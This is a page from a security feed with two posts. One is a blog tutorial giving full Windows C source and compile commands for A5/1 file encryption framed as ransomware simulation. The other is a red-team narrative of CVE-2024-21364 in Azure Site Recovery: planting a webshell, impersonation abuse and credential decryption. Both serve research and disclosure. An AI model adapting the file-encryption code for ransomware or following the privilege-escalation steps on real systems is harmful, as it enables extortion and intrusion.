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Today — 13 May 2024Pentest/Red Team

Malware and cryptography 27: encrypt/decrypt files via A5/1. Simple C/C++ example.

✇cocomelonc
By: cocomelonc
12 May 2024 at 01:00

﷽

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.

At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.

practical example

First of all, our encryption and decryption functions are the same:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

The next piece of code implemented file encryption and decryption logic via previous functions:

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "Z:\\test.txt";
  const char* outputFile = "Z:\\test.txt.a51";
  const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
  const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encrypt_file(inputFile, outputFile, key);
  decrypt_file(outputFile, decryptedFile, key);
  return 0;
}

As you can see, as usual, for test I just encrypt file test.txt and decrypt it.

cat test.txt

cryptography

demo

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

and let’s say we have a test.txt file in the Z:\\ path on the victim’s machine:

hexdump -C test.txt

cryptography

cryptography

Then just run our application on Windows 11 x64 machine:

.\hack.exe

cryptography

Let’s check a decrypted and original files, for example via hexdump command:

hexdump -C test.txt.a51.decrypted

cryptography

As you can see our simple PoC is worked perfectly.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.

A5/1
Malware AV/VM evasion part 14
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

This Cloud is on Fire! Microsoft Azure Site Recovery EoP

✇Stories by Chris Hernandez on Medium
By: Adversary Academy Research
13 May 2024 at 16:00

Discovering and Exploiting CVE-2024–21364

Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge I’ve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems they’ve encountered on customer networks, long after the engagement is over… or in this case during an engagement.

Typically on a penetration test a tester's “spidey senses” will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.

Our customers ASR configuration

While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access to it.

Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to the cloud.

SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to Azure sites.

Basically, Microsoft said, “We will support anything other than AWS or GCP!”

As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.

Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this case EoP).

We started by reviewing features, capabilities, and processes in Azure SRM and found that:

  • the SRM process and config server runs a web server listening for replication events to the backup server on port 9443
  • Process server must have permission to read all properties from all systems being backed up
  • Process server must have the ability to read/write to Azure for synchronization, and deployment of agent
  • SRM server connects to clients via WMI/ credentials stored in the DB
  • This WMI connection deploys the SRM mobility agent responsible for the agent to server comms.

Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.

Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug we found.

The configuration file is readable by any local user account on the SRM server

The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database as root.

Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attack target.

The Azure SRM credentials are stored AES encrypted in the database. The encryption key is not readable by a user.

We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standard user.

After some research and failed attempts, we found a Solution!

If the process responsible for handling the php / mysql queries has access to the key, we must become the process.

php-cgi reading the encryption.key

As our standard user account on the server, we don’t have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the web server.

Further research allowed us to find a directory on the server where the web server / php code isn’t properly secured. We can write a webshell to this directory and “become” the web server process.

  • The web services are running as IUSR which DOES have the SeImpersonatePrivilege
Spawning a beacon as the IUSR user from our web shell

We then can use SEImpersonatePrivilege to read the encryption.key

Impersonating the user we want to access the encryption.key

The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.

After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024–21364 with a patch becoming available several months later.

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